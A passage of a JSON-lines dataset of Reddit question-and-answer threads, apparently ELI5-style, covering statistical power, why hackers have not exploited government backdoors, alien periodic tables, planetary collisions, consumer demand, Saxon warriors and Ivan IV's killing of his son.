true (the salami is actually mild), it's pretty unlikely that you'll smell any spice, so you're unlikely to reject H0. The taste test, on the other hand, is pretty definitive in both cases, so it also has a low size.\n\nSo to sum up: Power is the probability of correctly rejecting a false null hypothesis. Size is the probability of incorrectly rejecting a true null hypothesis. The salami smell test has good size, but not so great power. The salami taste test has good size *and* good power.", "Here it is, explained like you're ten:\n\nLet's say you want to do an experiment to see if boys are smarter than girls. There are two ways an experiment can go wrong.\n\nThe first would be if you conclude that boys are smarter than girls, but in reality they aren't. This is called a false positive.\n\nThe second would be if you conclude that boys aren't smarter than girls, but in reality they are. This is called a false negative.\n\nPower is how sure you are that you're not going to get a false negative. Since it's a probability, \"0\" means you're guaranteed to get a false negative (that's bad). \"1\" means that there's no way you're going to get a false negative (that's good, but it isn't really possible). Usually, power is somewhere around .95 or 95%"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1txv4l", "title": "if the cia and fbi have backdoors to all these computer/mobile networks and systems why haven't hackers/crackers exploited them yet?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1txv4l/eli5_if_the_cia_and_fbi_have_backdoors_to_all/", "answers": {"a_id": ["ceck4vb", "ceck6dx", "ceckdo9", "ceckrs1", "cecl2j6", "cecm1dw", "cecm4zt", "cecmh28", "cecn4lc", "cecna5k", "cecnb2f", "cecndb0", "cecnq3l", "cecnwth", "cecoh8t", "cecoyq7", "cecpjn9", "cecpqqa", "cecqerd", "cecqjjd", "cecrgq1", "cecrndb", "cecryok", "cecs2j3", "cecs7sa", "cecsmae", "cect1jh", "cecv50z", "cecv7x4", "cecvyqw", "cecwpkp", "cecxntm", "cecxsli", "cecyehv", "cecykqs", "cecyum0", "ceczv4m", "ced1cs6", "ced1xl8", "ced21k0", "ced21vq", "ced3k3c", "ced43aw", "ced6d60", "ced9t9k", "cedauig"], "score": [6, 1758, 485, 29, 105, 10, 164, 22, 3, 7, 3, 2, 3, 35, 4, 7, 3, 2, 2, 4, 10, 3, 3, 3, 15, 2, 5, 3, 2, 10, 2, 2, 2, 2, 3, 3, 2, 2, 3, 3, 2, 5, 2, 2, 2, 2], "text": ["yea its probably not a public backdoor that anyone could use. By backdoor they probably mean a set of internal credentials / hardware that they can use for access, akin to what an employee would use for their access.", "you haven't heard of it != it hasn't happened", "Very often these backdoors are just flaws in security, such as having a very long string for root login and password that only the CIA/FBI know. [there have been tons of these showing up](_URL_0_)", "Hackers exploit these back doors and vulnerabilities all the time. And a lot of hacking is done at the direction of the intelligence community as state sponsored hackers (contracted agents of intelligence organizations) are just as prevalent now as they have always been.", "I think your question should say:\n\nIf the NSA has backdoors in some computer/mobile networks why haven't hackers exploited them?\n\nTo answer:\n  \n1. The ANT backdoors (ANT stands for Access Network Technology) are target only, that means that only people/organizations and governments who are actually targeted get the *special* hardware. \n\nThis also means that it is outside the reach of most hackers who know how to deal with hardware/BIOS,  they simply do not have access to it. This is secret spy stuff, by which companies sell parts to other companies and only those who know, know about it. \n\n2. Finding hardware backdoors takes a lot of forensic work and requires specific software and equipment (like in a lab), the hardware is also proprietary (only the builders know how it was built) ) and needs to be backward engineered. This makes it outside the reach of most everyone. Unless someone literally hands you a back-doored motherboard (this piece helps run your computer parts) and a team of experts, and a few years (Most computers do not allow user-mode programs to have direct hardware access).\n  \n3. There is no evidence that other hackers have not exploited these backdoors or at least backward engineered them, by other hackers I mean fully funded intelligence organizations or large tech companies, this is happening every day on a large scale behind the scenes, again this is secret stuff.\n  \n4. The skill level of hardware hacking is high because it requires specific engineering and job related knowledge, the people that have this knowledge usually have families and a good job.\n\nFor those that want more info here is a good white paper on \"Rakshasa\" (hardware backdoor): _URL_0_\n", "Followup question: how come no one in IT or net sec has documented a post mortem of any of these exploits being used against an active network they're in charge of. Somewhere down the line before this was publicized, someone had to have noticed something odd and asked other net sec dudes about it, right?", "I don't like any of these answers so I'm going to give it a try:\n\nSo I believe OP is specifically talking about the NSA's cryptographic back door. Modern day cryptography (secret internet code) is done using a standard procedure anyone can learn how to use. This standard is called RSA encryption and you can learn the basics of it [here](_URL_0_) if you wish. It is based upon the property that in mathematics it is easier to multiply two numbers than it is to factorize a number.\n\nSo the NSA has a backdoor into this system because they helped make it and sort of reversed engineered the back door while creating the standard. You can watch more detail about this [here](_URL_2_).\n\nThe NSA is also involved is private company affairs and been suspected to create back doors in many big companies such as Microsoft. See [here](_URL_1_) for more detail.\n\n\nThe NSA also ironically (because they have broken a few themselves) uses law to extract information from companies such as lavabit and google. They took down Lavabit, a privately encrypted email service, took down their site so they wouldn't have to compy with data requests. The NSA or a similar organization used the Mutual Legal Assistance Treaty to aquire a copy of Silk Road which is one of the domino's in shutting it down.\n\nEdit: Messed up links.\n\nEdit2: As /u/0xB10B pointed out, Lavabit took down their site so they wouldn't have to compy with data requests.", "Also, can anyone ELi5 what backdoor means in this context? I can't even figure out what's going on.\n\n\nedit:\nThanks for the replies, everyone.", "Nobody would add a method of access without access control. If the method requires a strong cryptographic key, it would be highly improbable anyone other than the creator could get in. (This assumes no flaws in the chosen cryptographic algorithm)", "With all the hundreds or thousands of network security engineers designing, testing, and studying network vulnerabilities, how is it possible that nobody's ever noticed any of these security flaws/breaches and made the information public until now?\n\nEspecially since the vulnerabilities appear to be so widespread, nearly universal, I just don't see how that's possible.", "The company i work at was hacked last month. No data was lost or stolen because we reacted quickly but, nobody including our customers know about it. Why would we tell them? Furthermore, what would we tell them?\n\nIt's a rare occasion when a company gets hacked and it gets disclosed.", "[This video explains it very well.](_URL_0_) The math is a bit more than ELI5, but the gist of it is simple. One part of the government created the system of encryption, the NSA knew the process that went into the creation of the encryption, so they had a backdoor entry. Finding the process that went into the creation without a government connection would be very very difficult. ", "There is no evidence that hackers have NOT, by chance exploited some of the backdoors that they alphabet soup agencies have engineered into devices and systems.  Some of the security holes that hackers have found end exploited may very well be holes that were 'built-in' by the government, but it was purely by chance that they happened to stumble upon them.", "We don't know. There are a few possible reasons, and it could be any combination of them:\n\n1. The CIA and FBI don't have all of the backdoors that they're claimed to.\n\n2. The backdoors remain secure because hackers haven't yet found or exploited them (of course, it's probably only a matter of time).\n\n3. The backdoors remain secure because they're locked-down in a manner that reduces their scope. For example, a backdoor might require being \"turned on\" by a server administrator, and given limited access. Thus, the potential for exploit by hackers is limited.\n\n4. The backdoors require resources to exploit that are out of the reach of the hackers that you hear about (e.g. they require supercomputing resources or they require access to significant parts of the network backbone, putting the exploits only in the hands of national governments and, perhaps, zombie network controllers).\n\n5. The backdoors are vulnerable to exploit, but the hackers simply haven't broken into them yet.\n\n6. The backdoors *have* been exploited by hackers, but this has not been noticed by the victims, or have not been recognised as attacks relating to a backdoor.\n\n7. The backdoors *have* been exploited by hackers, but the victims have succeeded in keeping this fact out of the media.", "Box2check is right. Remember that we didn't know about rootkits until someone stumbled upon them.\n\nWhen I worked at Yahoo, I remember in 2008, we had to write a system called 'legal intercept'. Can't go into much detail, but the system was self service-- it was also the law due to the Patriot Act.\n\nWhile we all knew what was happening, I'm not sure anyone knew the scope or by whom it would be used. In all fairness, when we're obligated to obey the laws-- sometimes there isn't room to ask questions.", "backdoors != exploit\n\nexploit is unintentional hole in the wall while backdoor is rather intentional and well-built.", "The best exploitation's to hardware/software are usually kept secret by blackhatter's in order to make a profit. I assume some of the best malware on the net is using these exploits already without telling you how it's done.", "Simply put to a five year old:\n\nIt's like someone added a highly secure door to your house that only they have the key to. (in terms of SSL decryption and the RSA issue)\n\n(in terms of PRISM) Imagine two people talking to each other, Bob and Alice, now imagine Eve with an invisibility cloak in that room. Eve can hear everything Bob and Alice are saying because she is in the room. Now imagine a world full of Bob and Alice's with Eve in every single room. \n\nDoes this make sense?", "errrr chinas hacking exploits in the last decade ", "There are 3 basic types of attacks on networks\n1)Physical(plug in a Flash-drive)\n2)Remote(internet interaction/download)\n3)Hardware/BIOS\nThe first 2 can be solved with software like anti-virus or reformatting the system.\nThe third infects the computer hardware(Motherboard) itself not the software installed on it. And is alot harder to get rid of(usually requires removal of chips within the hardware..and is therefore not cost effective..and I personally would never trust a system again that has had it BIOS tampered with)\n\nNow if you do have this kind of software/code on your system it is not going to just jump off the monitor and say I'm infected you gotta break down the code and recompile the parts individually and compare them to the known uninfected systems just to realize they had been tampered with.\nNot alot of people can do this...and it just so happens alot of them that can do this work..they work for alphabet agencies.\n", "We do. I have actually discovered two in Cisco CUCM systems. I sold the findings for BTC to the French government. \n\nI discussed the findings with a researcher at Cisco that I know and he confirmed that what I discovered was not a \"vulnerability\" but a backdoor in the design. That being said the discoveries were not something that standard security scanning tools will find.", "They do, all the time.  But if you want it to stay a secret, why would any hacker announce what they've found?\n\nThink of jail breaking an iOS phone. this is done for almost every version of iOS that's released, and dispite apples best efforts they cannot plug vulnerabilities in their software. \n\nIn reality a good hacker could break into pretty much any system. Albeit its not something that happens in 2 seconds with some bash prompt commands, but rather a few months.", "The term \"backdoor\" is being misused by media outlets trying to sensationalize the reality.\n\nBackdoor in security terms, is exactly like it sounds, unfettered access and control. Just like your house has locks and security, devices have locks and security. Just because a thief can kick down your door, pick your lock, or in masterful instances, disarm your alarms, doesn't mean the thief has backdoor access to your house.\n\nThe NSA has a catalogue of capabilities, the same as a locksmith. The question you should be asking is, \"does our government have the ability to hack a network or a device\" and the plain and simple answer is yes.\n\nFor network security to work, the most effective tool, is enforced network policies. Once policies are well defined, you design your infrastructure from the ground up to enforce those policies. This is as simple as physical control (locked doors, communications closets) and logging access, to more technical policies that enforce password changes every 30,60, or 90 days, strict patch control and testing on desktops and network hardware etc.\n\nThe majority of computer infrastructures have very weak if any policy, and even less policy enforcement. If you don't enforce your kids to lock the door to the house when they leave, then it makes it much easier for someone to have what the media is sensationalizing, \"backdoor access\".\n\n\nEdit*\nTL;DR - There is no backdoor, there are security vulnerabilities that they and other hackers can exploit. Proper policy and implementation greatly reduces risk of compromise.", "Maybe they hired all the hackers that did hack their networks?? ", "Earlier, I came across [one example of Chinese hackers abusing an NSA backdoor at Google](_URL_0_) undermining US counter-intelligense efforts and revealing tons of FISA court orders between Google and the NSA. So, at least in this case, the NSA backdoors have led to hackers exploiting them. ", "Let me make one example:  \n  \nIn [this article](_URL_0_)  you see that one of the companies that is working with the NSA is the computer maker \"Dell\".  \n  \nDell manufactures it's computers using the \"JIT\" model (Just in Time) meaning that when a company orders 1000 Workstations they are specifically manufactured for that client.  \nThis means that when the computer is put together, the motherboard and the hard disks etc, it is already known inside which company this computer is going to be used.  \n  \nSo the backdoors may be tailored for that specific company, which limits greatly the visibility to hackers/crackers.", "InfoSec professional here.\n\nThe \"Big 3\" don't have backdoors into computer/mobile networks.  They have monitors/taps which allow them to inspect traffic.  The backend to these use a virtual air-gap so there is no way they could be compromised by a typical hacker/cracker.  Meaning, they aren't visible from the Internet.\n\nThe \"Big 3\" also do not backdoor commercial software or systems, as they don't need to.  They have an army of God-Tier hackers/crackers on staff that find/exploit existing vulnerabilities.\n\nI guess you could make the case that by not contacting vendors about security vulnerabilities they discover that they are leaving them open for other hackers/crackers to exploit.\n\nAnyways, there is/was a massive miscommunication in the media at some point.  The NSA doesn't install backdoors in commercial software/hardware products.  They find/exploit vulnerabilities in these products and then install their own rootkit/backdoor after they are deployed by a target.  \n\ntl;dr The CIA/FBI/NSA doesn't install backdoors in commercial systems that could be exploited by hackers/crackers.  Rather, they use the same tools/techniques that hackers/crackers do to exploit these systems.  \n", "Because the ones who do keep their mouths shut about it. Why make a target of yourself?", "Hackers have and do use these backdoors. I imagine they just prefer for us to not know about it.", "I worked at a financial company for 6+ years and we were hacked numerous times and several we couldn't figure out how they broke the encryption/protocol/system as there was nothing we could find we did wrong. We simply wrote off the stolen money, wiped the system clean and reinstalled fresh, instituted a few new rules (minimal installation, nothing installed that wasn't directly used by applications, etc, raised the requirements to get access to the system), and forced everyone to sign/reminded them about their non-disclosure agreements, and then broke the law by not notifying anyone because there was no proof it happened unless the hackers themselves confessed.\n\nDon't assume because you have't heard about it means it didn't happen. Had this got out that we were losing millions a year due to breaches that were in several cases a year unexplainable, we would have lost millions/billions - and several of the V.P.'s that jump from institution to institution had indicated ours wasn't the only one experiencing this, hence everyone felt better with the course of action we took.", "When they say that CIA and FBI have backdoors, it usually dosn't mean software backdoors. Because, yes hackers will probably find them and abuse them. Usually it means a pretty physical onsite backdoor in their server room. Which is the best kind of backdoor.\n\nAnd usually they get those pretty easily. They are apparently very persuasive being a government body. An older collegue of mine recalls a story of one of his friend from silicon valley that refused to cooperate. All his business hardware was confiscated without warning one day, on some terror charge. The company was essentially shutdown.\n\nWhat has been in the media lately was a suspicion that a elliptic encryption algorithm, published by NSA, had a potential backdoor in it, because the paper contained a few pseudo random numbers that could be used as a basis for implementing the encryption. \n\nHowever, as for now we don't actually know if they can abuse it. Theoretically, with publicly available crypto knowledge, it should not help them much. But again, they have a lot of resources, it is possible that they picked the numbers very carefully so it enabled them to break the encryption much faster than usual.", "Most likely they have.  \n\nThe thing is, when you find a bug that is a security vulnerability it's not always obvious if it was deliberate  or not.  Sometimes (as with the NSA putting a shitty RNG in NIST standards) they get caught, but not always.  \n\nWhen it comes to the secret firmware injected by the NSA that we're hearing about yesterday/today, well that's where things get interesting.  If your company really had no knowledge of it, and you find this secret firmware running on your hardware, you start thinking it's a chinese counterfeit (either counterfeit parts or an entire counterfeit device), you report it... to the FBI, who consult with the NSA, and are either told to shut up or are given a lie.  \n\nDistinguishing  between a deliberate  backdoor (either from the company or from an intelligence agency), or a bug is quite hard.  Particularly some  of the stuff today - which is hardware  injection attacks on seemingly benign devices are actually quite difficult to do much about.\n\nOh, and companies are finding spy  'bugs' in their buildings  on a relatively regular basis, if you don't know any better and assume they are chinese rather than the NSA you really have no way of  knowing.  ", "They do.  Down here in South Carolina hackers got into the state tax records.  The state knew about it MONTHS before it was made public and even then they tried to hush it back up.  They offered free credit monitoring for a year.  Big Whoop.  Absolutely EVERY piece of information someone needs to ruin your life are in those forms.  They're going to throw out that information just because it's a year old?", "Think about it. What is the point of LEAKING a hack? There has to be a social engineering purpose. Everything a hacker or an authority tells you had a purpose behind it.\n\nIt's almost impossible to generalize anything about hackers but I believe most have an innate love of technology in general and the internet in specific (at least the original free internet before NSA weaponized it.) There is also evidence to suggest that hackers are innately more ethical due to the absence of what Drs Milgram  &  Zimbardo refer to as the Lucifer Effect which basically means that obedience to authority is the root cause of evil (ie. holocausts) and the internet is, as the CEO of Google described it \"the first thing mankind has invented that he did not understand; it is the first experiment in true leaderlessness. \n\nHackers also tend to have higher intelligence which is shown to correlate with higher morals. Basically everything the NSA  &  FBI say about hackers is the opposite if the truth. Or as Aaron Swartz said \"artsuccessfulies to tell the truth while authorities use truth to tell lies\"\n\nSource: I'm the founder of #OpBlackout-SOPA. IM for proof.", "If you read the article it means they developed hacks/exploits. They didn't make backdoors that ship with the devices. \n\nThe NSA hacks things to get into the devices, rather expected. \n\nAnd yes, hackers have hacked other networks. ", "Actually, they don't need back doors. Stupid fucking people literally LET the government have your information. Have you seen the new Facebook app permissions? Fucking ridiculous. They can read and modify SMS and MMS, or look at Wi-Fi connected devices, or record audio whenever with out notification or reason... Unacceptable...", "They already have. The hackers are called CIA and FBI. Oh and NSA is another....", "Yea, the part about the embedded code in files just threw me for a loop. Hadn't considered the possibility of various pieces of massive consumed media containing bits and bytes of malicious code that can be \"activated\" by a third party. Everything from wallpapers, to icons, pictures, cookies, and, and, and. Ugh!", "I recently watched a [Numberphile](_URL_0_) video that may be relevant.", "How do we know some of them haven't? It's not like someone from the NSA or another Federal agency is going to sheepishly put their hand up at a security conference when a newly discovered exploit is presented and be like \"Opps, sorry, that one was one of ours.\"", "The thing that bothers me the most about this is that now that this has been done, the Russians, the Chinese, the British, the Israelis, hell, *everybody*, will not stop until they have learned, either through research, espionage, or both, to exploit these holes for themselves.  At that point, goodbye, privacy, for everyone.\n\nFuck you, NSA, and thank you very much.", "There are two basic terms in cyber security you should understand.  **Vulnerabilities** and **Exploits**.\n\n\nA **vulnerability** is a part of the software that can potentially be broken into. An **exploit** is when you take advantage of that vulnerability and actually break in to a system.  Both of these things are developed independently for the most part, so they find a vulnerability, then they find an exploit for the vulnerability.\n\nTo make an analogy to breaking into someone's home, a vulnerability would be your windows, your locks, or any sort of other thing someone could use to gain access to your home.  An exploit would be a set of lock picks (to pick the lock) or a baseball bat (to break the window).  \n\nThere are two ways you can develop ways to gain access.  You can try to discover new vulnerabilities (maybe try to go in through the chimney) or you can develop new exploits for existing vulnerabilities (use a better set of lock picks against the door).\n\nThere is nothing stopping a typical blackhat hacker/cracker from developing new exploits or vulnerabilities that a nation-state currently has developed.  The NSA/FBI is extremely secretive with their tools, though, so it is very unlikely that a blackhat hacker/cracker will be able to steal the blueprints of their unique exploits/vulnerabilities they have discovered.\n\nTo summarize. There is nothing stopping the public from discovering the vulnerabilities or developing the exploits the government does, but there is no way to take advantage of the exploits/vulnerabilities that already are discovered for your own use.", "It's all kept hush hush because if the coder/hacker does get into the real system, they'll probably get a 6-7 figure job offer to come in and strengthen the systems. ", "A lot of the answers here seem to have many of the pieces without the whole story, or a lot of technical details. Maybe this helps?\n\nFor one, we don't know if people are using some of the vulnerabilities. It's certainly possible that at least some of them have been compromised.\n\nOn the other hand, it's very unlikely.\n\nSome of them are downright impossible - a lot of the \"backdoors\" are literally things as simple as a physical splitter in the wire that goes to a room that says \"NSA, Access Restricted\". Others are just the NSA saying \"Dear Microsoft: Send us all of your data. And you're not allowed to tell anyone we asked or we'll throw you in jail forever.\" I suppose it's not unthinkable that those would be compromised, but when people talk about hackers finding backdoors, they usually doing mean entering physical back doors.\n\nBut there are almost certainly unknown software vulnerabilities too. We know of a few cases where they pretty clearly tried to get vulnerabilities into the design of some security implementations. There are doubtless some that we don't know about.\n\nBut the thing is - they're *very* smart. A lot of the vulnerabilities people have been worrying about (particularly in the wake of Snowden, though he's mostly responsible for popularizing some fears that a small number of people already had) are interesting in that only the person who designed them could reasonably exploit them.\n\nThink of it this way: imagine you put a two-hundred character secret password into a program. If you know the password, you have a \"backdoor\", but for anyone else, guessing that password is as hard as guessing the normal password.\n\nThe actual details are (usually) more complicated, but a unifying theme of a lot of the things people are most afraid of is that they're essentially undetectable. Being undetectable means that they're *also* undetectable to would-be intruders.\n\n(potentially complicated stuff follows) The recent stuff about the random-number generator in most chips, for example, is based on the fear that there are known ways to alter the manufacturing process in a (basically) physically undetectable way that produces numbers that are *very* slightly nonrandom*. So slightly that there's no known way to notice that they're not actually random without getting a completely unreasonable sample of the numbers they generate (as it turns out, telling if something is truly random is very hard to do). So there's almost no way to know that they're not truly random, much less what the pattern is. And I mean completely unreasonable. The rate these things spit out numbers at, it would take much longer than we're likely to be using the chips. But, if you know the details of the procedure that's actually generating the \"random\" numbers, you can predict them perfectly.\n\n*Technically, they're completely nonrandom. I think putting it this way makes sense though.", "They have... you seem to be missing that when the cia/fbi does it, it's still hackers/crackers exploiting the weakness.", "Who's to say they haven't. You think the captains of secrecy are going to tell you about their covert stuff getting hacked "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://it.slashdot.org/story/13/10/14/0120221/d-link-router-backdoor-vulnerability-allows-full-access-to-settings"], [], ["http://www.toucan-system.com/research/blackhat2012_brossard_hardware_backdooring.pdf"], [], ["http://www.youtube.com/playlist?list=PLB4D701646DAF0817", "http://www.youtube.com/watch?v=uhqqb1k1SsM", "http://www.youtube.com/watch?v=ulg_AHBOIQU"], [], [], [], [], ["http://www.youtube.com/watch?v=ulg_AHBOIQU"], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.cnn.com/2010/OPINION/01/23/schneier.google.hacking/"], ["http://www.spiegel.de/international/world/catalog-reveals-nsa-has-back-doors-for-numerous-devices-a-940994.html"], [], [], [], [], [], [], [], [], [], [], [], [], ["http://youtu.be/ulg_AHBOIQU"], [], [], [], [], [], [], []]}
{"q_id": "c3nbrm", "title": "If aliens, or even ignorant humans, tried to make something similar to a periodic table, would it look the same as our standard one?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/c3nbrm/if_aliens_or_even_ignorant_humans_tried_to_make/", "answers": {"a_id": ["ers5v4g", "ers5yil", "ersgm43", "ersqt1w", "ert1vse"], "score": [27, 43, 5, 9, 4], "text": ["It obviously may not look identical, however, the aspects by which the period table are organised (atomic number, electron shells/orbitals) would be reflected in the \"new\" period table making it functionally identical. This is because those are fundamental properties of each atom which would be the same anywhere in the universe. \n\nTo be useful to those who understand the periodic table some introduction may be needed due to variations in the presentation of information.", "You may want to check out alternative periodic tables. There are various ways to express the same information.  \n [_URL_0_](_URL_1_)", "It would likely be organised according to the same principles of electronic structure and thus be broadly similar, since nothing indicates that physics is any different in other parts of the universe.", "Yes. The periodic table is organized according to the electronic structure of the ground states of each atom. And that is the same on any planet, in any part of the universe.\n\nSo if an alien civilization had the same idea, they\u2019d end up with a periodic table functionally equivalent to ours.", "Follow up question which may in fact just be a rephrasing of the original question and I\u2019m just not smart enough to realize it: is it possible there are as of yet undiscovered elements or does the current table contain every possible combination of subatomic particles?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Alternative\\_periodic\\_tables", "https://en.wikipedia.org/wiki/Alternative_periodic_tables"], [], [], []]}
{"q_id": "4co6nm", "title": "when worlds collide", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4co6nm/eli5when_worlds_collide/", "answers": {"a_id": ["d1jzmbg", "d1k1a4x"], "score": [8, 8], "text": ["This doesn't happen, since the planets are on orbital paths that don't overlap. However, if Earth in its orbit hit an imaginary giant stationary object (one that could somehow \"hover\" alongside the Sun but in our orbital path) the collision would take place at 29.8 kilometers per second, or about 67,000 mph.", "Depends on a lot of things. Mostly by what you mean by \"the process\". \n\nArguably it **starts** when the two make contact with their atmospheres or lithospheres, but the effects of their gravity would happen much sooner. You're under the effects of Mar's gravity right now, but it's so negligible that you don't really care. Let's say it starts once the gravity throws off Earth's distance to the sun by more than it's normal variance.  And that depends on the path it takes.\n\n**And it doesn't even have to hit**. If Mars got out of orbit and careened towards Earth, it's gravitational pull could offset Earth from it's own orbit, dooming life as we know it, and it doesn't even have to impact.\n\nWhen it **ends** is even more ambiguous. Let's say the run smack dab into each other, and mesh like two snowballs.    Ok? Now what?  It would take millennia for the two blobs to squish down into something more spherical. Is it over then? But the remnants of the event would probably exist forever.   Human life would cease... you know... pretty quickly, but who knows what someone in a bomb-shelter could get away with. If the ISS was on the right side, and had enough fuel to maneuver, it might even get away scott free.     Life in general would probably continue to exist on some level. Never count the extreamophiles out of the fight.\n\n**Minimum time:** Instant. Let's say super-man or some asshole aliens sped a planet to half of light speed and had it impact Earth. Everything's dust in seconds.\n\n**Maximum time:** Centuries to millennium as it slowly pulls us out of orbit and causes us to freeze and burn.  If you wait billions of years, the sun will explode first, so I guess there's a time-limit. \n\nAnd speaking of the moon, that's how it was formed. A massive impact by something REALLY big hit earth and tore a chunk of it away. Some of that wound up in orbit. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2222i9", "title": "why is consumption and demand in an economy a good thing?", "selftext": "Surely an economy would want people to consume less so they could use their production for other things right?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2222i9/eli5_why_is_consumption_and_demand_in_an_economy/", "answers": {"a_id": ["cgila7k", "cginej8"], "score": [3, 2], "text": ["What other things?", "Okay, here we go:\n\nSo you're basically saying that if we consume less, then they'd be more left over to be put to good uses like feeding the poor or whatever? That's not how it works.\n\nSay I have a job manufacturing goods. I get paid every month and I go out and spend that money. I demand goods that I will consume. These goods are made by a firm. The firm employs workers to make the good that I spend my wages on. Now that firm increases production and employs more workers who go out and buy other goods and the circular flow goes on. Increasing aggregate demand increases production and therefore economic growth.\n\nIf I scale back my consumption then firms realise that they are not selling as many goods as they'd like. They may get to a point where they're almost making a loss because nobody's buying their goods. They scale back production and lay off some of their workers who now cannot consume as much either. The circular flow goes on.\n\nBasically, if we consume less then firms have to produce less (in simplistic terms). If they attempted to maintain their production levels so that there's more left over for whathaveyou then they begin to make losses, go bankrupt and go out of business."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "72lgu9", "title": "What was life like for late 5th/early 6th century Saxon warriors?", "selftext": "Suppose I were a warrior in a Saxon warlord's retinue. How did I achieve my position? What was my life like? My social status? Was I wealthy? Will my children likely be warriors of similar status? Am I virtually guaranteed to be male, or did women achieve high martial status as well? Did it make a difference if I was a continental Saxon vs. a British Saxon?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/72lgu9/what_was_life_like_for_late_5thearly_6th_century/", "answers": {"a_id": ["dnjm561"], "score": [7], "text": ["So we don't have a lot of sources about the everyday life of Angles or Saxons, largely because most writers at the time didn't deem such things worthy of recording, but we can piece together a relatively good picture from archaeological and circumstantial literary evidence.\n\nIn the fifth and sixth centuries, Anglo-Saxon society in England is quite limited politically, with dozens of small kingdoms, and remains this way until the arrival of the Augustinian mission in 596 which catalyses the bureaucratic expansion of petty kingdoms into what we might recognise as states. What this means is that society is essentially quite 'tribal' in its organisation, with a rigid and militaristic heirarchy based heavily on personal loyalty. As we can see from the Laws of \u00c6thelberht of Kent, codified shortly after 596, Saxon society in this time was quite heirarchical, with clearly defined social strata, such as *eorls*, *ceorls*, 'semi-free', and slaves. At this time of limited polities, ranks of decentralised land-holding nobility such as *thegns* and *ealdormen* which are so prevalent in the later Anglo-Saxon period have really yet to emerge, and indeed most polities this early are based around only one or two major settlements and outlying hinterlands.\n\n*Ceorls* were freemen, but if you were part of a king's warrior retinue, you were likely to be an *eorl* and thus quite high ranking in the social strata. It is likely that your father and his father would be *eorls* and your children would be likewise. As an *eorl*, you and your family were second only to the royal family and the Church in terms of the legal protection you enjoyed, and six 'tiers' above the slaves, which you would likely own.\n\nAlthough it's written much later and is a heroic poem, *Beowulf* actually gives us a good idea of what life in a Germanic warrior elite could be like. Personal loyalty is important, and the king's hearth is at the centre of town and political life. Status was maintained not only through military service, but also by feasting and drinking with the king. Loyalty and service were rewarded with ostentatious gifts, most often in the form of rings. Days not at war could be spent training, maintaining wargear or running your personal estates, guarding the king or, most likely, hunting for game, often with the king or fellow nobles.\n\nWe can get our best idea of the type of wealth these elites enjoyed from the variety of grave goods they were buried with and the items they dropped. Status was based on display, and wealth was reflected in ostentatious fashion, jewellery and wargear, and the Anglo-Saxon penchant for very fine metalwork. Much of this can still be seen today at places like the British Museum. Both men and women wore large, finely wrought brooches, often inlaid with cut glass or precious stones. Warriors carried swords in jewelled scabbards, with gilt and inlaid hilts, which distinguished them from the *ceorl* or 'semi-free' warriors who would have fought predominantly with spears. Finely jewelled clasps, buckles, strap ends and pins were used to adorn rich cloaks, tunics on men and mantles on women. People were buried with swords and shields, and full sets of chainmail armour and helmets, like those found at the Sutton Hoo burial. Women might be buried with spindle whorls for making thread, jewelled pins, pendants and earrings and necklaces. Both men and women might be buried with richly decorated and engraved combs, brooches and even game pieces. \n\nE: To further answer your question, we've yet to find any evidence of Saxon warrior women. The tenth century ruler \u00c6thelfl\u00e6d of Mercia certainly led her armies into battle against the Welsh and the Vikings, but she was the daughter of Alfred the Great and quite likely exceptional."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "yfukm", "title": "Russian Historians: theories as to why Ivan IV killed his son?", "selftext": "I've been doing quite a bit of research into Ivan IV (otherwise known as Ivan the Terrible) and PRESUMING it is a proven fact that he did kill his eldest son (also named Ivan) - the motive for Ivan's fit of rage is usually given that the two got into an argument about Ivan Jr's wife being dressed 'immodestly'. \n\nWhile I understand that feminine \"modesty\" would have been considered to be a big deal amongst Russian royalty and also that its not unlikely Ivan IV was mentally ill (to the point of possibly being schizophrenic) - this story strikes me as being highly questionable - and wonder if in Russia historians have come up with any alternative theories.\n\nThere is to me surprisingly little well-sourced solid information about Ivan IV at least in English. So much seems based on legends and innuendo.\n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/yfukm/russian_historians_theories_as_to_why_ivan_iv/", "answers": {"a_id": ["c5v9wyk"], "score": [3], "text": ["Actually, part of the legend is that right after Ivan (who allegedly carried a large staff with a hooked metal blade at the end with which he reportedly often  and at the spur of the moment took a swings at and sometimes killed people who pissed him off) mortally wounded his son, he immediately regretted it.\n\nGoogle \"Ivan the Terrible kills son\" and you will come up with a fairly contemporary painting which I presume is famous in Russia of Ivan holding his wounded son in his arms, horrified at what he had done:\n\n_URL_0_\n\nIvan would have a good reason to regret his action, at the time, his only other possible heir was probably significantly mentally handicapped. Eventually Ivan had another son, who was just a few years old when Ivan died, and not long after died himself (whether of natural causes or murder, who knows).\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.emersonkent.com/images/ivan_kills_son.jpg"]]}
